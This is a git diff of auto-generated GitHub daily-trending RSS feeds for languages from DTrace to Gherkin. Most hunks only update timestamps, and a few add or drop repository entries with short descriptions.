index fb5611f6871..e3725ce51fa 100644
--- a/dtrace/daily/index.xml
+++ b/dtrace/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DTrace Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:45Z
+ 2023-12-13T01:29:54Z
Daily Trending of DTrace in GitHub
\ No newline at end of file
diff --git a/dylan/daily/index.xml b/dylan/daily/index.xml
index 36f7651e66a..193e38acc79 100644
--- a/dylan/daily/index.xml
+++ b/dylan/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Dylan Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:22Z
+ 2023-12-13T01:30:29Z
Daily Trending of Dylan in GitHub
\ No newline at end of file
diff --git a/e-mail/daily/index.xml b/e-mail/daily/index.xml
index 52026662d97..ebc446b97a2 100644
--- a/e-mail/daily/index.xml
+++ b/e-mail/daily/index.xml
@@ -1,7 +1,7 @@
GitHub E-mail Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:45Z
+ 2023-12-13T01:30:57Z
Daily Trending of E-mail in GitHub
\ No newline at end of file
diff --git a/e/daily/index.xml b/e/daily/index.xml
index da8f969011d..9a1aa9488bc 100644
--- a/e/daily/index.xml
+++ b/e/daily/index.xml
@@ -1,7 +1,7 @@
GitHub E Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:19Z
+ 2023-12-13T01:30:30Z
Daily Trending of E in GitHub
\ No newline at end of file
diff --git a/eagle/daily/index.xml b/eagle/daily/index.xml
index a3f2242d1b9..df0e21a3d51 100644
--- a/eagle/daily/index.xml
+++ b/eagle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Eagle Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:22Z
+ 2023-12-13T01:30:28Z
Daily Trending of Eagle in GitHub
\ No newline at end of file
diff --git a/earthly/daily/index.xml b/earthly/daily/index.xml
index 0de07e4648e..45af189a0d7 100644
--- a/earthly/daily/index.xml
+++ b/earthly/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Earthly Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:24Z
+ 2023-12-13T01:30:33Z
Daily Trending of Earthly in GitHub
+
+ input-output-hk/hermes
+ 2023-12-13T01:30:33Z
+ tag:github.com,2023-12-13:/input-output-hk/hermes
+
+ <p>🏛️ Hermes is a high-availability blockchain voting database that acts as a distributed storage and event processor for voting events, proposals, and actions.</p><hr>
+
\ No newline at end of file
diff --git a/easybuild/daily/index.xml b/easybuild/daily/index.xml
index 9806e8c053b..1103c354845 100644
--- a/easybuild/daily/index.xml
+++ b/easybuild/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Easybuild Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:26Z
+ 2023-12-13T01:30:36Z
Daily Trending of Easybuild in GitHub
\ No newline at end of file
diff --git a/ebnf/daily/index.xml b/ebnf/daily/index.xml
index b8fad931775..b22238b0f0d 100644
--- a/ebnf/daily/index.xml
+++ b/ebnf/daily/index.xml
@@ -1,7 +1,7 @@
GitHub EBNF Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:23Z
+ 2023-12-13T01:30:35Z
Daily Trending of EBNF in GitHub
\ No newline at end of file
diff --git a/ec/daily/index.xml b/ec/daily/index.xml
index b4f8b2ccecc..938334f0073 100644
--- a/ec/daily/index.xml
+++ b/ec/daily/index.xml
@@ -1,7 +1,7 @@
GitHub eC Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:25Z
+ 2023-12-13T01:30:34Z
Daily Trending of eC in GitHub
\ No newline at end of file
diff --git a/ecere-projects/daily/index.xml b/ecere-projects/daily/index.xml
index 2cee47d6782..83b2efc2f70 100644
--- a/ecere-projects/daily/index.xml
+++ b/ecere-projects/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ecere Projects Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:28Z
+ 2023-12-13T01:30:39Z
Daily Trending of Ecere Projects in GitHub
\ No newline at end of file
diff --git a/ecl/daily/index.xml b/ecl/daily/index.xml
index 4ac672220ea..43a58fa0e03 100644
--- a/ecl/daily/index.xml
+++ b/ecl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ECL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:29Z
+ 2023-12-13T01:30:40Z
Daily Trending of ECL in GitHub
\ No newline at end of file
diff --git a/eclipse/daily/index.xml b/eclipse/daily/index.xml
index ec85fdbc0a2..f2173a26698 100644
--- a/eclipse/daily/index.xml
+++ b/eclipse/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ECLiPSe Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:31Z
+ 2023-12-13T01:30:41Z
Daily Trending of ECLiPSe in GitHub
\ No newline at end of file
diff --git a/editorconfig/daily/index.xml b/editorconfig/daily/index.xml
index 7c8edbbb6e9..7f00bb6561e 100644
--- a/editorconfig/daily/index.xml
+++ b/editorconfig/daily/index.xml
@@ -1,7 +1,7 @@
GitHub EditorConfig Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:33Z
+ 2023-12-13T01:30:44Z
Daily Trending of EditorConfig in GitHub
\ No newline at end of file
diff --git a/edje-data-collection/daily/index.xml b/edje-data-collection/daily/index.xml
index 38f913d1261..0656a1d634c 100644
--- a/edje-data-collection/daily/index.xml
+++ b/edje-data-collection/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Edje Data Collection Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:34Z
+ 2023-12-13T01:30:45Z
Daily Trending of Edje Data Collection in GitHub
\ No newline at end of file
diff --git a/edn/daily/index.xml b/edn/daily/index.xml
index 45a7b5ceda9..d67bc39ec88 100644
--- a/edn/daily/index.xml
+++ b/edn/daily/index.xml
@@ -1,7 +1,7 @@
GitHub edn Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:32Z
+ 2023-12-13T01:30:44Z
Daily Trending of edn in GitHub
\ No newline at end of file
diff --git a/eiffel/daily/index.xml b/eiffel/daily/index.xml
index d0412407eea..bfa2cfb117d 100644
--- a/eiffel/daily/index.xml
+++ b/eiffel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Eiffel Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:34Z
+ 2023-12-13T01:30:43Z
Daily Trending of Eiffel in GitHub
\ No newline at end of file
diff --git a/ejs/daily/index.xml b/ejs/daily/index.xml
index 5208eee8ad9..715c7ff5630 100644
--- a/ejs/daily/index.xml
+++ b/ejs/daily/index.xml
@@ -1,14 +1,28 @@
GitHub EJS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:38Z
+ 2023-12-13T01:30:49Z
Daily Trending of EJS in GitHub
- benhorl/group02
- 2023-12-12T01:48:38Z
- tag:github.com,2023-12-12:/benhorl/group02
-
+ asynchronousJavascriptor/instaclone
+ 2023-12-13T01:30:49Z
+ tag:github.com,2023-12-13:/asynchronousJavascriptor/instaclone
+
+ <p></p><hr>
+
+
+ rat9615/simple-nodejs-app
+ 2023-12-13T01:30:49Z
+ tag:github.com,2023-12-13:/rat9615/simple-nodejs-app
+
+ <p></p><hr>
+
+
+ JacobLudwigson/Group-Project-16-06
+ 2023-12-13T01:30:49Z
+ tag:github.com,2023-12-13:/JacobLudwigson/Group-Project-16-06
+
<p></p><hr>
\ No newline at end of file
diff --git a/elixir/daily/index.xml b/elixir/daily/index.xml
index f9b68449a5d..67c634893ee 100644
--- a/elixir/daily/index.xml
+++ b/elixir/daily/index.xml
@@ -1,21 +1,7 @@
GitHub Elixir Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:41Z
+ 2023-12-13T01:30:53Z
Daily Trending of Elixir in GitHub
-
- UkioInc/tech_test
- 2023-12-12T01:48:41Z
- tag:github.com,2023-12-12:/UkioInc/tech_test
-
- <p></p><hr>
-
-
- mirego/absinthe_security
- 2023-12-12T01:48:41Z
- tag:github.com,2023-12-12:/mirego/absinthe_security
-
- <p>AbsintheSecurity provides utilities to improve the security posture of APIs built with Absinthe GraphQL.</p><hr>
-
\ No newline at end of file
diff --git a/elm/daily/index.xml b/elm/daily/index.xml
index 40bea632f21..5cf1fa414ca 100644
--- a/elm/daily/index.xml
+++ b/elm/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Elm Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:36Z
+ 2023-12-13T01:30:50Z
Daily Trending of Elm in GitHub
\ No newline at end of file
diff --git a/emacs-lisp/daily/index.xml b/emacs-lisp/daily/index.xml
index ade8f47ef1b..f22fddd64c7 100644
--- a/emacs-lisp/daily/index.xml
+++ b/emacs-lisp/daily/index.xml
@@ -1,14 +1,14 @@
GitHub Emacs Lisp Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:49Z
+ 2023-12-13T01:31:01Z
Daily Trending of Emacs Lisp in GitHub
- rainstormstudio/treemacs-nerd-icons
- 2023-12-12T01:48:49Z
- tag:github.com,2023-12-12:/rainstormstudio/treemacs-nerd-icons
-
- <p></p><hr><p>#+TITLE: treemacs-nerd-icons #+AUTHOR: Hongyu Ding</p>
<p>[[https://melpa.org/#/treemacs-nerd-icons][file:https://melpa.org/packages/treemacs-nerd-icons-badge.svg]]</p>
<p>[[https://github.com/rainstormstudio/nerd-icons.el][nerd-icons]] theme for treemacs. It is inspired by [[https://github.com/Alexander-Miller/treemacs/blob/master/src/extra/treemacs-all-the-icons.el][treemacs-all-the-icons]], [[https://github.com/ryanoasis/vim-devicons][vim-devicons]] and [[https://github.com/nvim-tree/nvim-web-devicons][nvim-web-devicons]]. It can be used inside GUI or terminal.</p>
<p>[[file:screenshots/demo.png]]</p>
<ul>
<li>Prerequisite You need a Nerd Font installed, and set your terminal font as a Nerd Font if you want terminal icons working.</li>
</ul>
<p>You should include [[https://github.com/rainstormstudio/nerd-icons.el][nerd-icons]] before using this package.</p>
<ul>
<li>Installation with <del>use-package</del> #+BEGIN_SRC elisp (use-package treemacs-nerd-icons :config (treemacs-load-theme "nerd-icons")) #+END_SRC</li>
</ul>
<p>You can also download the <del>treemacs-nerd-icons.el</del> file and load it to the path, then simply #+BEGIN_SRC elisp (require 'treemacs-nerd-icons) (treemacs-load-theme "nerd-icons") #+END_SRC</p>
+ gramos/emacs.d
+ 2023-12-13T01:31:01Z
+ tag:github.com,2023-12-13:/gramos/emacs.d
+
+ <p>My emacs conf files</p><hr>
\ No newline at end of file
diff --git a/emberscript/daily/index.xml b/emberscript/daily/index.xml
index 6db495d2f96..dc111e53837 100644
--- a/emberscript/daily/index.xml
+++ b/emberscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub EmberScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:48:44Z
+ 2023-12-13T01:30:56Z
Daily Trending of EmberScript in GitHub
\ No newline at end of file
diff --git a/eq/daily/index.xml b/eq/daily/index.xml
index bf150a2fc0d..9204f9275a1 100644
--- a/eq/daily/index.xml
+++ b/eq/daily/index.xml
@@ -1,7 +1,7 @@
GitHub EQ Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:08Z
+ 2023-12-13T01:31:12Z
Daily Trending of EQ in GitHub
\ No newline at end of file
diff --git a/erlang/daily/index.xml b/erlang/daily/index.xml
index b9d4dad6c36..783b6a14fa4 100644
--- a/erlang/daily/index.xml
+++ b/erlang/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Erlang Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:13Z
+ 2023-12-13T01:31:18Z
Daily Trending of Erlang in GitHub
+
+ redink/tcpserver
+ 2023-12-13T01:31:18Z
+ tag:github.com,2023-12-13:/redink/tcpserver
+
+ <p>tcpserver is a TCP Server based on ranch</p><hr>
+
\ No newline at end of file
diff --git a/euphoria/daily/index.xml b/euphoria/daily/index.xml
index 90033a3adc9..1361277e278 100644
--- a/euphoria/daily/index.xml
+++ b/euphoria/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Euphoria Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:10Z
+ 2023-12-13T01:31:11Z
Daily Trending of Euphoria in GitHub
\ No newline at end of file
diff --git a/f%23/daily/index.xml b/f%23/daily/index.xml
index d07ad5567a8..efaa0f06a63 100644
--- a/f%23/daily/index.xml
+++ b/f%23/daily/index.xml
@@ -1,7 +1,7 @@
GitHub F# Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:13Z
+ 2023-12-13T01:31:18Z
Daily Trending of F# in GitHub
\ No newline at end of file
diff --git a/f*/daily/index.xml b/f*/daily/index.xml
index 78bb6ec3439..50b2c96c10e 100644
--- a/f*/daily/index.xml
+++ b/f*/daily/index.xml
@@ -1,7 +1,7 @@
GitHub F* Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:16Z
+ 2023-12-13T01:31:22Z
Daily Trending of F* in GitHub
\ No newline at end of file
diff --git a/factor/daily/index.xml b/factor/daily/index.xml
index 948cd77edae..8d6d8ebad51 100644
--- a/factor/daily/index.xml
+++ b/factor/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Factor Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:17Z
+ 2023-12-13T01:31:26Z
Daily Trending of Factor in GitHub
\ No newline at end of file
diff --git a/fancy/daily/index.xml b/fancy/daily/index.xml
index 9c071687b8e..4e58cce2ddf 100644
--- a/fancy/daily/index.xml
+++ b/fancy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fancy Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:15Z
+ 2023-12-13T01:31:24Z
Daily Trending of Fancy in GitHub
\ No newline at end of file
diff --git a/fantom/daily/index.xml b/fantom/daily/index.xml
index 1f724c4d1cd..06fca334dc1 100644
--- a/fantom/daily/index.xml
+++ b/fantom/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fantom Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:14Z
+ 2023-12-13T01:31:20Z
Daily Trending of Fantom in GitHub
\ No newline at end of file
diff --git a/faust/daily/index.xml b/faust/daily/index.xml
index 6dd787df51d..15724e7f906 100644
--- a/faust/daily/index.xml
+++ b/faust/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Faust Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:19Z
+ 2023-12-13T01:31:28Z
Daily Trending of Faust in GitHub
\ No newline at end of file
diff --git a/fennel/daily/index.xml b/fennel/daily/index.xml
index fb2744835c5..7cbbda4352c 100644
--- a/fennel/daily/index.xml
+++ b/fennel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fennel Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:19Z
+ 2023-12-13T01:31:29Z
Daily Trending of Fennel in GitHub
\ No newline at end of file
diff --git a/figlet-font/daily/index.xml b/figlet-font/daily/index.xml
index 53f748f22d2..ef1471bf9e0 100644
--- a/figlet-font/daily/index.xml
+++ b/figlet-font/daily/index.xml
@@ -1,7 +1,7 @@
GitHub FIGlet Font Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:20Z
+ 2023-12-13T01:31:31Z
Daily Trending of FIGlet Font in GitHub
\ No newline at end of file
diff --git a/filebench-wml/daily/index.xml b/filebench-wml/daily/index.xml
index ab8b8e8a4f6..160ff89b74d 100644
--- a/filebench-wml/daily/index.xml
+++ b/filebench-wml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Filebench WML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:21Z
+ 2023-12-13T01:31:33Z
Daily Trending of Filebench WML in GitHub
\ No newline at end of file
diff --git a/filterscript/daily/index.xml b/filterscript/daily/index.xml
index 5970c38c302..7cd8198c5c3 100644
--- a/filterscript/daily/index.xml
+++ b/filterscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Filterscript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:25Z
+ 2023-12-13T01:31:36Z
Daily Trending of Filterscript in GitHub
\ No newline at end of file
diff --git a/fish/daily/index.xml b/fish/daily/index.xml
index a7e687a49a5..01c7ae534b6 100644
--- a/fish/daily/index.xml
+++ b/fish/daily/index.xml
@@ -1,7 +1,7 @@
GitHub fish Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:23Z
+ 2023-12-13T01:31:38Z
Daily Trending of fish in GitHub
\ No newline at end of file
diff --git a/fluent/daily/index.xml b/fluent/daily/index.xml
index 680fcac3189..ba3106b7d4e 100644
--- a/fluent/daily/index.xml
+++ b/fluent/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fluent Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:26Z
+ 2023-12-13T01:31:39Z
Daily Trending of Fluent in GitHub
\ No newline at end of file
diff --git a/flux/daily/index.xml b/flux/daily/index.xml
index cbda8c1a689..9a9892f9667 100644
--- a/flux/daily/index.xml
+++ b/flux/daily/index.xml
@@ -1,7 +1,7 @@
GitHub FLUX Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:24Z
+ 2023-12-13T01:31:35Z
Daily Trending of FLUX in GitHub
\ No newline at end of file
diff --git a/formatted/daily/index.xml b/formatted/daily/index.xml
index 7441af5e2d7..1667b6610da 100644
--- a/formatted/daily/index.xml
+++ b/formatted/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Formatted Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:34Z
+ 2023-12-13T01:31:44Z
Daily Trending of Formatted in GitHub
\ No newline at end of file
diff --git a/forth/daily/index.xml b/forth/daily/index.xml
index f4e18b14a92..ed93a9c0cbb 100644
--- a/forth/daily/index.xml
+++ b/forth/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Forth Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:28Z
+ 2023-12-13T01:31:43Z
Daily Trending of Forth in GitHub
\ No newline at end of file
diff --git a/fortran-free-form/daily/index.xml b/fortran-free-form/daily/index.xml
index 509912b82d5..aa48da4fde9 100644
--- a/fortran-free-form/daily/index.xml
+++ b/fortran-free-form/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Fortran Free Form Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:30Z
+ 2023-12-13T01:31:41Z
Daily Trending of Fortran Free Form in GitHub
\ No newline at end of file
diff --git a/fortran/daily/index.xml b/fortran/daily/index.xml
index 4380a5d7bcf..df3efdc4cda 100644
--- a/fortran/daily/index.xml
+++ b/fortran/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Fortran Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:33Z
+ 2023-12-13T01:31:49Z
Daily Trending of Fortran in GitHub
-
- TWRogers/MSciThesis
- 2023-12-12T01:49:33Z
- tag:github.com,2023-12-12:/TWRogers/MSciThesis
-
- <p></p><hr>
-
\ No newline at end of file
diff --git a/freebasic/daily/index.xml b/freebasic/daily/index.xml
index d5e36dafe4b..8b191637386 100644
--- a/freebasic/daily/index.xml
+++ b/freebasic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub FreeBasic Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:38Z
+ 2023-12-13T01:31:54Z
Daily Trending of FreeBasic in GitHub
\ No newline at end of file
diff --git a/freemarker/daily/index.xml b/freemarker/daily/index.xml
index 98f11f4d8e7..58a3edbcfae 100644
--- a/freemarker/daily/index.xml
+++ b/freemarker/daily/index.xml
@@ -1,7 +1,7 @@
GitHub FreeMarker Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:37Z
+ 2023-12-13T01:31:52Z
Daily Trending of FreeMarker in GitHub
\ No newline at end of file
diff --git a/frege/daily/index.xml b/frege/daily/index.xml
index a12e5a55196..faf0d01954f 100644
--- a/frege/daily/index.xml
+++ b/frege/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Frege Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:36Z
+ 2023-12-13T01:31:55Z
Daily Trending of Frege in GitHub
\ No newline at end of file
diff --git a/futhark/daily/index.xml b/futhark/daily/index.xml
index a134ddeb59f..17467f5c572 100644
--- a/futhark/daily/index.xml
+++ b/futhark/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Futhark Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:36Z
+ 2023-12-13T01:31:56Z
Daily Trending of Futhark in GitHub
\ No newline at end of file
diff --git a/g-code/daily/index.xml b/g-code/daily/index.xml
index 18b014b88ef..32d2484f4bc 100644
--- a/g-code/daily/index.xml
+++ b/g-code/daily/index.xml
@@ -1,7 +1,7 @@
GitHub G-code Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:41Z
+ 2023-12-13T01:31:58Z
Daily Trending of G-code in GitHub
\ No newline at end of file
diff --git a/game-maker-language/daily/index.xml b/game-maker-language/daily/index.xml
index fd5fd7e90e4..78f7b6a0175 100644
--- a/game-maker-language/daily/index.xml
+++ b/game-maker-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Game Maker Language Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:43Z
+ 2023-12-13T01:31:59Z
Daily Trending of Game Maker Language in GitHub
\ No newline at end of file
diff --git a/gaml/daily/index.xml b/gaml/daily/index.xml
index b1fcea9b1bb..1f4e58d4512 100644
--- a/gaml/daily/index.xml
+++ b/gaml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GAML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:40Z
+ 2023-12-13T01:32:02Z
Daily Trending of GAML in GitHub
\ No newline at end of file
diff --git a/gams/daily/index.xml b/gams/daily/index.xml
index ab79f38f64e..fb7e797af8e 100644
--- a/gams/daily/index.xml
+++ b/gams/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GAMS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:42Z
+ 2023-12-13T01:32:00Z
Daily Trending of GAMS in GitHub
\ No newline at end of file
diff --git a/gap/daily/index.xml b/gap/daily/index.xml
index 466457e4d5f..0fa89f6534a 100644
--- a/gap/daily/index.xml
+++ b/gap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GAP Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:46Z
+ 2023-12-13T01:32:10Z
Daily Trending of GAP in GitHub
\ No newline at end of file
diff --git a/gcc-machine-description/daily/index.xml b/gcc-machine-description/daily/index.xml
index c2380ef4255..e67482ebb5e 100644
--- a/gcc-machine-description/daily/index.xml
+++ b/gcc-machine-description/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GCC Machine Description Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:46Z
+ 2023-12-13T01:32:04Z
Daily Trending of GCC Machine Description in GitHub
\ No newline at end of file
diff --git a/gdb/daily/index.xml b/gdb/daily/index.xml
index 3ec567ba8b9..e64f55d7eef 100644
--- a/gdb/daily/index.xml
+++ b/gdb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GDB Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:45Z
+ 2023-12-13T01:32:03Z
Daily Trending of GDB in GitHub
\ No newline at end of file
diff --git a/gdscript/daily/index.xml b/gdscript/daily/index.xml
index 01acf051859..b7d71aab447 100644
--- a/gdscript/daily/index.xml
+++ b/gdscript/daily/index.xml
@@ -1,14 +1,14 @@
GitHub GDScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:50Z
+ 2023-12-13T01:32:08Z
Daily Trending of GDScript in GitHub
- lukky-nl/custom_post_processing_effects_godot_4.2
- 2023-12-12T01:49:50Z
- tag:github.com,2023-12-12:/lukky-nl/custom_post_processing_effects_godot_4.2
-
- <p>learning demo for custom post processing effects in godot 4.2</p><hr>
+ TheQueefOfEngland/GodotWildJam64
+ 2023-12-13T01:32:08Z
+ tag:github.com,2023-12-13:/TheQueefOfEngland/GodotWildJam64
+
+ <p>A group submission to the Godot Wild Jam 64! We hope you find some cool features in our code and use them in yours!</p><hr>
\ No newline at end of file
diff --git a/gedcom/daily/index.xml b/gedcom/daily/index.xml
index 2c4ff003c77..353e2fad872 100644
--- a/gedcom/daily/index.xml
+++ b/gedcom/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GEDCOM Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:51Z
+ 2023-12-13T01:32:16Z
Daily Trending of GEDCOM in GitHub
\ No newline at end of file
diff --git a/gemfile.lock/daily/index.xml b/gemfile.lock/daily/index.xml
index 72124d55884..5bc1b487689 100644
--- a/gemfile.lock/daily/index.xml
+++ b/gemfile.lock/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gemfile.lock Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:54Z
+ 2023-12-13T01:32:14Z
Daily Trending of Gemfile.lock in GitHub
\ No newline at end of file
diff --git a/genero-forms/daily/index.xml b/genero-forms/daily/index.xml
index 2ec2c0b0705..44b773ce758 100644
--- a/genero-forms/daily/index.xml
+++ b/genero-forms/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Genero Forms Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:56Z
+ 2023-12-13T01:32:17Z
Daily Trending of Genero Forms in GitHub
\ No newline at end of file
diff --git a/genero/daily/index.xml b/genero/daily/index.xml
index 4cd1c2a3552..5d1662c409c 100644
--- a/genero/daily/index.xml
+++ b/genero/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Genero Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:53Z
+ 2023-12-13T01:32:11Z
Daily Trending of Genero in GitHub
\ No newline at end of file
diff --git a/genie/daily/index.xml b/genie/daily/index.xml
index 06ea83aa078..d731b48978c 100644
--- a/genie/daily/index.xml
+++ b/genie/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Genie Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:55Z
+ 2023-12-13T01:32:22Z
Daily Trending of Genie in GitHub
\ No newline at end of file
diff --git a/genshi/daily/index.xml b/genshi/daily/index.xml
index 764e83542e6..97b07dfe9a6 100644
--- a/genshi/daily/index.xml
+++ b/genshi/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Genshi Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:57Z
+ 2023-12-13T01:32:21Z
Daily Trending of Genshi in GitHub
\ No newline at end of file
diff --git a/gentoo-ebuild/daily/index.xml b/gentoo-ebuild/daily/index.xml
index 39acbeec2db..f5331e5429b 100644
--- a/gentoo-ebuild/daily/index.xml
+++ b/gentoo-ebuild/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gentoo Ebuild Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:56Z
+ 2023-12-13T01:32:19Z
Daily Trending of Gentoo Ebuild in GitHub
\ No newline at end of file
diff --git a/gentoo-eclass/daily/index.xml b/gentoo-eclass/daily/index.xml
index 01069e14338..86d90700415 100644
--- a/gentoo-eclass/daily/index.xml
+++ b/gentoo-eclass/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gentoo Eclass Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:00Z
+ 2023-12-13T01:32:25Z
Daily Trending of Gentoo Eclass in GitHub
\ No newline at end of file
diff --git a/gerber-image/daily/index.xml b/gerber-image/daily/index.xml
index db986fb9775..836fa17bc69 100644
--- a/gerber-image/daily/index.xml
+++ b/gerber-image/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gerber Image Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:49:59Z
+ 2023-12-13T01:32:24Z
Daily Trending of Gerber Image in GitHub
\ No newline at end of file
diff --git a/gettext-catalog/daily/index.xml b/gettext-catalog/daily/index.xml
index 7e36e366f7c..8e4271dedd1 100644
--- a/gettext-catalog/daily/index.xml
+++ b/gettext-catalog/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gettext Catalog Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:01Z
+ 2023-12-13T01:32:26Z
Daily Trending of Gettext Catalog in GitHub
\ No newline at end of file
diff --git a/gherkin/daily/index.xml b/gherkin/daily/index.xml
index 6c4198f673c..0eb11b95d05 100644
--- a/gherkin/daily/index.xml
+++ b/gherkin/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Gherkin Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:02Z
+ 2023-12-13T01:32:28Z
